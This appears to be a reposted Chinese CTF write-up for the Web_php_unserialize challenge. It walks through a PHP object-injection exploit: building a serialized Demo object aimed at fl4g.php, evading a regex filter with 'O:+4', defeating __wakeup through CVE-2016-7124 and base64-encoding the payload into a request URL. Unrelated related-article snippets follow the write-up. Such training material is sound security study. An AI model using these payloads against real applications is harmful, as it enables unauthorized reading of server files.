长亭php反序列化防护_CTF-攻防世界-Web_php_unserialize(PHP反序列化)

题目

解题过程

PHP反序列化的一道题,从代码看出flage在fl4g.php这个文件里面,Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化

classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;

}function__destruct() {echo @highlight_file($this->file, true);

}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);echo $serialized_data;

View Code

得到序列化结果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},通过var参数传入,这里有两个问题:

1.var参数要先进行base64编码

调用php自带的base64_encode函数进行编码

2.要绕过正则检查

/[oc]:\d+:/i这个正则绕过书上看见过(所以没事要多看书 >_< ),O后面加上+就可以了:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

最后访问连接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

嗯,失败了,因为__wakeup有判断文件名不是index.php就自动跳回index.php页面。。。

所以还有第3步要做,绕过__wakeup的检查,这个正好也在书上看见过(再次印证没事要多看书 >_< )

CVE-2016-7124:__wakeup失效,当属性个数不正确时,PHP不会调用__wakeup()。影响版本PHP5-PHP5.6.25,PHP7-PHP7.0.10。

修改属性个数1为2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},在进行编码后传入var参数

最终的代码:

classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;

}function__destruct() {echo @highlight_file($this->file, true);

}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);$str=str_replace('O:4', 'O:+4',$serialized_data);$str=str_replace(':1:', ':2:',$str);echo base64_encode($str);

View Code

这里有一个坑,base64编码必须调用php自带的编码函数才行,直接拿去在线base64编码的结果无法拿到flag,原因不明。。。

访问链接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

拿到flag:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/468587.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在深圳转户口这件小事

我对于政策这种事情是比较感冒的&#xff0c;比如老师说不能去外面上网&#xff0c;我是绝不会偷偷跑出去的&#xff0c;来深圳的第一年&#xff0c;我就想着办理户口了&#xff0c;第一次机会是在 TCL 的时候&#xff0c;人事部门有专门给我们办理转深户的&#xff0c;不过那时…

高程(三)笔记---- 第三章

一、有3个函数可以把非数值转换为数值&#xff1a;Number()、parseInt()、parseFloat() Number():可以用于任何数据类型&#xff0c;用法-----------Number(true) parseInt():把字符串转换为整型数值&#xff0c;用法---------parseInt("123") parseFloat():把字符串…

CPU 和 GPU

端午回来&#xff0c;发的第一篇文章&#xff0c;还在谋划其他事情&#xff0c;大家共勉。现在电脑这么普及&#xff0c;应该每个人都知道 CPU &#xff0c;即使不懂电脑的人都能憋出大招告诉你电脑里面有一个 CPU&#xff0c;CPU 是中央处理器&#xff0c;是很多很多年积累下来…

mysqlierror php_php操作mysqli(示例代码)

php操作mysqli(示例代码)更新时间&#xff1a;2013年10月28日 08:56:20 作者&#xff1a;php操作mysqli的示例代码。需要的朋友可以过来参考下&#xff0c;希望对大家有所帮助define("MYSQL_OPEN_LOGS",true);class mysqliHelp{private $db;public function __cons…

React Native - 3 View, Text简介以及onPress onLongPress事件

我们要生成如下的构图 直接上图&#xff0c;不解释。如下图所示&#xff0c;定义函数&#xff0c;函数之间不需要逗号&#xff0c;在元素上添加事件&#xff0c;使用关键字this.{function name}转载于:https://www.cnblogs.com/yahb/p/6864382.html

创业日记

最近在拼命的写代码&#xff0c;估计这段时间写代码的行数等于过去一年的了&#xff0c;这是保守估计&#xff0c;如果不保守估计就不好说了&#xff0c;我本来想在原来的小组群里发话说&#xff0c;打算是下面这段对话我&#xff1a;X总&#xff0c;你站起来X总&#xff1a;为…

线程基础知识_线程生命周期_从JVM内存结构看多线程下的共享资源

线程生命周期 线程状态 New: 线程创建(new Thread()) Runnable: 线程可运行(thread.start()), 注: 调用start并不一定是运行状态, 可能在等待CPU调度 Running: 线程进入运行状态 Blocked: 阻塞状态(object.wait, Thread.sleep) Terminal: 死亡状态(线程正常/非正常结束运行)th…

centos查看网络速率_CentOS 7查看网络带宽使用情况

最近装Openshift&#xff0c;需要下载大量的镜像&#xff0c;想看看他们的带宽使用情况。nload这确实是非常好用的工具&#xff0c;我也是刚刚知道。直接yum install就可以。使用也很简单&#xff0c;直接启动就可以&#xff0c;当然你也是可以加入参数&#xff0c;指定网卡。默…

CPU,内核,寄存器,缓存,RAM,ROM的知识

偷偷说一下&#xff0c;这个图片是晚上 8 点钟的太阳&#xff0c;一个骚男华为总工发给我的&#xff0c;有时间还是想出去走走很多人使用计算机&#xff0c;但是对计算机却不是很懂&#xff0c;即使是作为非常资深的码农&#xff0c;也不能做到心中有剑的地步&#xff0c;那么怎…

swift中为什么要创造出可选型?

&#xff08;1&#xff09;因为nil这个东西&#xff0c;swift中没有就是没有。 Int? 叫 整型可选型&#xff0c;如果不提前声明&#xff0c;直接赋值变量 nil会报错 。 可以将Int赋值给Int? &#xff0c;但是不能将Int?赋值给Int 。 &#xff08;2&#xff09;不能将 普通…

mft按钮设计_哈汽机组660MW超临界空冷机组ETS设计及逻辑说明

点击上方“火力发电集控运行”关注公众号&#xff0c;加微信号&#xff1a;jikonglingmi&#xff0c;备注&#xff1a;集控运行&#xff0c;拉你入集控运行技术交流群&#xff0c;共同学习、共同进步。更多学习题库&#xff0c;请进入首页菜单选择一、 基本设计思想1、既防拒动…

JVM运行参数_JVM内存模型_常用内存分析工具

JVM运行参数 常见标准参数 -showversion: 显示当前JVM版本等信息-D设置系统属性参数: /*** 测试* author regotto*/ public class JvmTest {public static void main(String[] args) {//获取系统参数String str System.getProperty("str");System.out.println(st…

2019 年入门AI算法工程师,你需要掌握什么技能?

一篇推文&#xff0c;感兴趣的同学可以了解一下&#xff0c;有需要请继续往下阅读&#xff0c;没有需要的打扰各位金主了-----人工智能与自然语言处理/计算机视觉课培训招生Artificial Intelligence ForNLP/CV Courses真实企业级项目驱动找工作拿不到offer全额退款GitHub年度活…

腾讯云安全组规则导出

规则协议 端口 来源 策略 备注 TCP 23232,23235,23236,23240,21101 0.0.0.0/0 允许 TCP 28000-28040 0.0.0.0/0 允许 TCP 23241,23242,23240 0.0.0.0/0 允许 TCP 6000-7000 0.0.0.0/0 允许 ALL ALL 122.152.196.158 允许 ALL ALL 10.0.0.213 允许 ALL ALL 10.0.0.2 允许 ALL AL…

python循环套循环_零基础学python 14 循环套循环:循环的嵌套

大家可以回忆一下&#xff0c;之前我们学习过的循环结构。也就是for循环结构&#xff0c;今后我们还将学习另一种循环结构while结构&#xff0c;这里先不细讲。当初我们学习for循环结构的时候&#xff0c;有心的同学或许会发现&#xff0c;我们的for结构一般都是单独写单独出现…

Java常见GC算法_垃圾收集器及内存分配_G1垃圾收集器

常见GC算法 引用计数法: 每个对象都有一个计数器, 对象被引用一次, 计数器1, 当对象引用失败一次. 计数器-1, 当对象计数器等于0, 说明对象没有被应用, 就可GC 优: 运行过程中, 可随时检查对象计数器, 进行GC, 且GC过程, 应用无需暂停, 执行速度快(单个对象GC不会影响其他对…

是应该有点兴奋剂刺激下

不知道你有没有发现一个问题&#xff0c;发现身边的很多人工资很高&#xff0c;但是好像总还是缺点什么&#xff0c;总是对生活提不起兴趣&#xff0c;似乎对任何事情都失去热情&#xff0c;每天拿着手机&#xff0c;点来点去&#xff0c;每天都在抱怨&#xff0c;每天都好像在…

你应该知道为什么需要内核

不知道大家想过这个问题没有&#xff1f;为什么要有内核&#xff1f;如果没有内核有怎么样呢&#xff1f;因为有了 unix 内核&#xff0c;有了 minix 后面又有了 Linux 内核&#xff0c;内核这个思想越来越根深蒂固&#xff0c;估计没学什么计算机知识的人都能侃出点所以然来。…

FTP 协议和 HTTP 协议的比较

参考&#xff1a;http://www.oschina.net/news/28162/http-vs-ftp 以下列出了一些两者的不同点&#xff1a; 1、HTTP协议是用来浏览网站的&#xff0c;而FTP是用来访问和传输文件的&#xff0c;FTP文件传输有点批量上传和维护网站的意思&#xff0c;而HTTP文件传输更多的是为终…

线程基础知识_Synchronized_ThreadAPI_自定义锁_获取线程运行时异常

Synchronized synchronized包含monitor enter, monitor exit 2个JVM指令(遵循happens-before原则), 执行monitor exit之前必须存在monitor enter指令. 由于每个对象与一个monitor产生关联, 线程执行monitor enter时, 就会获取monitor的lock, monitor中存在计数器, 用于记录当前…